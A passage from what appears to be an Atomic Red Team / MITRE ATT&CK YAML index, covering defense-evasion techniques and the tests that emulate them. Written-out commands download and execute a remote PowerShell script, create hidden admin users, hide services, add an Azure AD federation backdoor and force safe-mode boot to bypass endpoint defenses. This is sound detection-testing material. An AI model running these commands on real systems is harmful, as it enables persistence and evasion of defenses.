Monitor the file system and shell commands for hidden attribute usage. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Office 365 x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Metadata' - 'Application Log: Application Log Content' - 'Process: Process Creation' - 'Command: Command Execution' - 'File: File Modification' - 'Firmware: Firmware Modification' - 'Service: Service Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Script: Script Execution' - 'User Account: User Account Creation' - 'Process: OS API Execution' - 'User Account: User Account Metadata' - 'File: File Creation' type: attack-pattern id: attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8 created: '2020-02-26T17:41:25.933Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1564 external_id: T1564 - source_name: Cybereason OSX Pirrit description: Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021. url: https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf - source_name: MalwareBytes ADS July 2015 description: Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018. url: https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/ - source_name: Sofacy Komplex Trojan description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ - source_name: Sophos Ragnar May 2020 description: SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020. url: https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1564 atomic_tests: - name: Extract binary files via VBA auto_generated_guid: 6afe288a-8a8b-4d33-a629-8d03ba9dad3a description: "This module extracts a binary (calc.exe) from inside of another binary. \n\nIn the wild maldoc authors will use this technique to hide binaries inside of files stored \nwithin the office document itself. An example of this technique can be seen in sample\n\nf986040c7dd75b012e7dfd876acb33a158abf651033563ab068800f07f508226\n\nThis sample contains a document inside of itself. Document 1 is the actual maldoc itself, document 2\nis the same document without all the malicious code. Document 1 will copy Document 2 to the file system\nand then \"peek\" inside of this document and pull out the oleObject.bin file. Contained inside of this\noleObject.bin file is a payload that is parsed out and executed on the file system.\n" supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Microsoft Word must be installed ' prereq_command: | try { New-Object -COMObject "Word.Application" | Out-Null Stop-Process -Name "winword" exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually to meet this requirement" ' executor: command: | $macro = [System.IO.File]::ReadAllText("PathToAtomicsFolder\T1564\src\T1564-macrocode.txt") $macro = $macro -replace "aREPLACEMEa", "PathToAtomicsFolder\T1564\bin\extractme.bin" [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-Maldoc -macroCode "$macro" -officeProduct "Word" -sub "Extract" -NoWrap cleanup_command: 'Remove-Item "$env:TEMP\extracted.exe" -ErrorAction Ignore ' name: powershell - name: Create a Hidden User Called "$" auto_generated_guid: 2ec63cc2-4975-41a6-bf09-dffdfb610778 description: Creating a user with a username containing "$" supported_platforms: - windows executor: name: command_prompt elevation_required: true command: net user $ ATOMIC123! /add /active:yes cleanup_command: net user $ /DELETE 2>&1 - name: Create an "Administrator " user (with a space on the end) auto_generated_guid: 5bb20389-39a5-4e99-9264-aeb92a55a85c description: Creating a user with a username containing with a space on the end supported_platforms: - windows executor: name: powershell elevation_required: true command: New-LocalUser -Name "Administrator " -NoPassword cleanup_command: Remove-LocalUser -Name "Administrator " 2>&1 | out-null - name: Create and Hide a Service with sc.exe auto_generated_guid: 333c7de0-6fbe-42aa-ac2b-c7e40b18246a description: | The following technique utilizes sc.exe and sdset to change the security descriptor of a service and "hide" it from Get-Service or sc query. Upon successful execution, sc.exe creates a new service changes the security descriptor. https://twitter.com/Alh4zr3d/status/1580925761996828672 https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-string-format supported_platforms: - windows input_arguments: service_name: description: Name of service to create type: string default: AtomicService executable_command: description: Command to execute as a service type: string default: C:\Windows\System32\calc.exe executor: command: | sc.exe create #{service_name} binPath= "#{executable_command}" sc sdset #{service_name} "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)" cleanup_command: | sc sdset #{service_name} "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)" sc.exe delete #{service_name} name: command_prompt elevation_required: true - name: Command Execution with NirCmd auto_generated_guid: 2748ab4a-1e0b-4cf2-a2b0-8ef765bec7be description: | NirCmd is used by threat actors to execute commands, which can include recon and privilege escalation via running commands via the SYSTEM account See https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis supported_platforms: - windows input_arguments: nircmd_location: description: Location of nircmd executable type: Path default: PathToAtomicsFolder\..\ExternalPayloads\nircmd.exe command_to_execute: description: Command for nircmd to execute type: Path default: win child class "Shell_TrayWnd" hide class "TrayClockWClass" cleanup_command_to_execute: description: Cleanup command to undo the arbitrary command ran by nircmd type: Path default: win child class "Shell_TrayWnd" show class "TrayClockWClass" dependency_executor_name: powershell dependencies: - description: 'The Nircmd executable must exist at (#{nircmd_location}) ' prereq_command: 'if (Test-Path "#{nircmd_location}") {exit 0} else {exit 1} ' get_prereq_command: "New-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\ninvoke-webrequest \"https://www.nirsoft.net/utils/nircmd-x64.zip\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\nircmd.zip\" \nexpand-archive -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\nircmd.zip\" -destinationpath \"PathToAtomicsFolder\\..\\ExternalPayloads\\\"\n" executor: command: 'cmd /c "#{nircmd_location}" #{command_to_execute} ' cleanup_command: 'cmd /c "#{nircmd_location}" #{cleanup_command_to_execute} -erroraction silentlycontinue | out-null ' name: powershell elevation_required: false T1484.002: technique: modified: '2024-04-19T04:27:51.388Z' name: Domain Trust Modification description: "Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002) without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) \n\nAn adversary may also add a new federated identity provider to an identity tenant such as Okta, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Blake Strom, Microsoft 365 Defender - Praetorian - Obsidian Security x_mitre_deprecated: false x_mitre_detection: |- Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection) Monitor for PowerShell commands such as: Update-MSOLFederatedDomain –DomainName: "Federated Domain Name", or Update-MSOLFederatedDomain –DomainName: "Federated Domain Name" –supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Azure AD - SaaS x_mitre_version: '2.0' x_mitre_data_sources: - 'Command: Command Execution' - 'Application Log: Application Log Content' - 'Active Directory: Active Directory Object Modification' - 'Active Directory: Active Directory Object Creation' x_mitre_permissions_required: - Administrator type: attack-pattern id: attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee created: '2020-12-28T21:59:02.181Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1484/002 external_id: T1484.002 - source_name: CISA SolarWinds Cloud Detection description: CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021. url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a - source_name: AADInternals zure AD Federated Domain description: Dr. Nestori Syynimaa. (2017, November 16). Security vulnerability in Azure AD & Office 365 identity federation. Retrieved September 28, 2022. url: https://o365blog.com/post/federation-vulnerability/ - source_name: Microsoft - Azure AD Federation description: Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020. url: https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed - source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods description: Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020. url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml - source_name: Microsoft - Update or Repair Federated domain description: Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020. url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365 - source_name: Okta Cross-Tenant Impersonation 2023 description: 'Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.' url: https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection - source_name: Sygnia Golden SAML description: Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021. url: https://www.sygnia.co/golden-saml-advisory object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1484.002 atomic_tests: - name: Add Federation to Azure AD auto_generated_guid: 8906c5d0-3ee5-4f63-897a-f6cafd3fdbb7 description: | Add a new federated domain to Azure AD using PowerShell. The malicious domain to be federated must be configured beforehand (outside of the scope of this test): 1. Open Azure Portal 2. Add a new "custom domain name" 3. Verify the domain by following instructions (i.e. create the requested DNS record) supported_platforms: - azure-ad input_arguments: azure_username: description: Username of a privileged Azure AD account such as External Identity Provider Administrator or Global Administrator roles type: string default: bruce.wayne@contosocloud.com azure_password: description: Password of azure_username type: string default: iamthebatman domain_name: description: Malicious federated domain name type: string default: contoso.com dependency_executor_name: powershell dependencies: - description: 'AzureAD and AADInternals Powershell modules must be installed. ' prereq_command: 'if ((Get-Module -ListAvailable -Name AzureAD) -And (Get-Module -ListAvailable -Name AADInternals)) {exit 0} else {exit 1} ' get_prereq_command: | Install-Module -Name AzureAD -Force Install-Module -Name AADInternals -Force executor: command: | Import-Module AzureAD Import-Module AADInternals $PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword try { Connect-AzureAD -Credential $Credential -ErrorAction Stop > $null } catch { Write-Host "Error: AzureAD could not connect" exit 1 } try { $domain = Get-AzureADDomain -Name "#{domain_name}" } catch { Write-Host "Error: domain ""#{domain_name}"" not found" exit 1 } if (-Not $domain.IsVerified) { Write-Host "Error: domain ""#{domain_name}"" not verified" exit 1 } if ($domain.AuthenticationType -eq "Federated") { Write-Host "Error: domain ""#{domain_name}"" already federated. Try with a different domain or re-create it before." exit 1 } $at = Get-AADIntAccessTokenForAADGraph -Credentials $Credential if (-Not $at) { Write-Host "Error: AADInternals could not connect" exit 1 } $new = ConvertTo-AADIntBackdoor -AccessToken $at -DomainName "#{domain_name}" if ($new) { Write-Host "Federation successfully added to Azure AD" Write-Host $new } else { Write-Host "The federation setup failed" } Write-Host "End of federation configuration." cleanup_command: | try { Import-Module AzureAD -ErrorAction Ignore $PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null Remove-AzureADDomain -Name "#{domain_name}" -ErrorAction Ignore } catch {} name: powershell T1562.009: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Jorell Magtibay, National Australia Bank Limited - Kiyohito Yamamoto, RedLark, NTT Communications - Yusuke Kubo, RedLark, NTT Communications object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--28170e17-8384-415c-8486-2e6b294cb803 type: attack-pattern created: '2021-06-23T20:00:27.600Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1562.009 url: https://attack.mitre.org/techniques/T1562/009 - source_name: Microsoft Safe Mode url: https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234 description: Microsoft. (n.d.). Start your PC in safe mode in Windows 10. Retrieved June 23, 2021. - source_name: Sophos Snatch Ransomware 2019 url: https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/ description: Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021. - source_name: Microsoft bcdedit 2021 url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit description: Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021. - source_name: CyberArk Labs Safe Mode 2016 url: https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise description: 'Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021.' - source_name: Cybereason Nocturnus MedusaLocker 2020 url: https://www.cybereason.com/blog/medusalocker-ransomware description: Cybereason Nocturnus. (2020, November 19). Cybereason vs. MedusaLocker Ransomware. Retrieved June 23, 2021. - source_name: BleepingComputer REvil 2021 url: https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/ description: Abrams, L. (2021, March 19). REvil ransomware has a new ‘Windows Safe Mode’ encryption mode. Retrieved June 23, 2021. - source_name: Microsoft Bootcfg url: https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg description: Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August 30, 2021. modified: '2022-04-25T14:00:00.188Z' name: 'Impair Defenses: Safe Boot Mode' description: |- Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019) Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021) Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: |- Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a \* in front of the "Startup" value name: HKLM\Software\Microsoft\Windows\CurrentVersion\Run\["\*Startup"="{Path}"] or by adding a key to HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019) Monitor execution of processes and commands associated with making configuration changes to boot settings, such as bcdedit.exe and bootcfg.exe.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019) x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Creation' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Command: Command Execution' x_mitre_defense_bypassed: - Host Intrusion Prevention Systems - Anti-virus x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1562.009 atomic_tests: - name: Safe Mode Boot auto_generated_guid: 2a78362e-b79a-4482-8e24-be397bce4d85 description: Allows adversaries to abuse safe mode to disable endpoint defenses that may not start with limited boot supported_platforms: - windows executor: command: bcdedit /set safeboot network cleanup_command: bcdedit /deletevalue {current} safeboot name: command_prompt elevation_required: true T1542.005: technique: x_mitre_platforms: - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4 type: attack-pattern created: '2020-10-20T00:06:56.180Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1542.005 url: https://attack.mitre.org/techniques/T1542/005 - source_name: Cisco Blog Legacy Device Attacks url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. - source_name: Cisco IOS Software Integrity Assurance - Secure Boot url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#35 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020. - source_name: Cisco IOS Software Integrity Assurance - Image File Verification url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020. - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020. - source_name: Cisco IOS Software Integrity Assurance - Command History url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020. - source_name: Cisco IOS Software Integrity Assurance - Boot Information url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#26 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020. modified: '2021-04-29T14:49:39.188Z' name: TFTP Boot description: |- Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images. Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) Review command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Command: Command Execution' - 'Network Traffic: Network Connection Creation' - 'Firmware: Firmware Modification' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1497.001: technique: modified: '2024-04-19T12:49:40.919Z' name: 'Virtualization/Sandbox Evasion: System Checks' description: "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Once executed, malware may also use [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) to check if it was saved in a folder or file with unexpected or even analysis-related naming artifacts such as `malware`, `sample`, or `hash`.\n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Deloitte Threat Library Team - Kostya Vasilkov x_mitre_deprecated: false x_mitre_detection: Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '2.2' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'Process: OS API Execution' x_mitre_defense_bypassed: - Static File Analysis - Signature-based detection - Host forensic analysis - Anti-virus type: attack-pattern id: attack-pattern--29be378d-262d-4e99-b00d-852d573628e6 created: '2020-03-06T20:57:37.959Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1497/001 external_id: T1497.001 - source_name: Unit 42 OilRig Sept 2018 description: Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018. url: https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/ - source_name: McAfee Virtual Jan 2017 description: Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019. url: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/ - source_name: Deloitte Environment Awareness description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1497.001 atomic_tests: - name: Detect Virtualization Environment (Linux) auto_generated_guid: dfbd1a21-540d-4574-9731-e852bd6fe840 description: | systemd-detect-virt detects execution in a virtualized environment. At boot, dmesg stores a log if a hypervisor is detected. supported_platforms: - linux executor: name: sh elevation_required: true command: | if (systemd-detect-virt) then echo "Virtualization Environment detected"; fi; if (sudo dmidecode | egrep -i 'manufacturer|product|vendor' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo "Virtualization Environment detected"; fi; - name: Detect Virtualization Environment (FreeBSD) auto_generated_guid: e129d73b-3e03-4ae9-bf1e-67fc8921e0fd description: | Detects execution in a virtualized environment. At boot, dmesg stores a log if a hypervisor is detected. supported_platforms: - linux executor: name: sh elevation_required: true command: 'if [ "$(sysctl -n hw.hv_vendor)" != "" ]; then echo "Virtualization Environment detected"; fi ' - name: Detect Virtualization Environment (Windows) auto_generated_guid: 502a7dc4-9d6f-4d28-abf2-f0e84692562d description: 'Windows Management Instrumentation(WMI) objects contains system information which helps to detect virtualization. This command will specifically attempt to get the CurrentTemperature value from this object and will check to see if the attempt results in an error that contains the word supported. This is meant to find the result of Not supported, which is the result if run in a virtual machine ' supported_platforms: - windows executor: name: powershell elevation_required: false command: | $error.clear() Get-WmiObject -Query "SELECT * FROM MSAcpi_ThermalZoneTemperature" -ErrorAction SilentlyContinue if($error) {echo "Virtualization Environment detected"} cleanup_command: "$error.clear()\n" - name: Detect Virtualization Environment (MacOS) auto_generated_guid: a960185f-aef6-4547-8350-d1ce16680d09 description: 'ioreg contains registry entries for all the device drivers in the system. If it''s a virtual machine, one of the device manufacturer will be a Virtualization Software. ' supported_platforms: - macos executor: name: sh elevation_required: false command: 'if (ioreg -l | grep -e Manufacturer -e ''Vendor Name'' | grep -iE ''Oracle|VirtualBox|VMWare|Parallels'') then echo ''Virtualization Environment detected''; fi; ' - name: Detect Virtualization Environment via WMI Manufacturer/Model Listing (Windows) auto_generated_guid: 4a41089a-48e0-47aa-82cb-5b81a463bc78 description: "Windows Management Instrumentation(WMI) objects contain system information which helps to detect virtualization. This test will get the model and manufacturer of the machine to determine if it is a virtual machine, such as through VMware or VirtualBox. \n" supported_platforms: - windows executor: name: powershell elevation_required: false command: | $Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty "Manufacturer" $Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty "Model" if((($Manufacturer.ToLower() -eq "microsoft corporation") -and ($Model.ToLower().contains("virtual"))) -or ($Manufacturer.ToLower().contains("vmware")) -or ($Model.ToLower() -eq "virtualbox")) {write-host "Virtualization environment detected!"} else {write-host "No virtualization environment detected!"} T1070.002: technique: x_mitre_platforms: - Linux - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36 type: attack-pattern created: '2020-01-28T17:11:54.034Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1070.002 url: https://attack.mitre.org/techniques/T1070/002 - source_name: Linux Logs url: https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/ description: Marcel. (2018, April 19). 12 Critical Linux 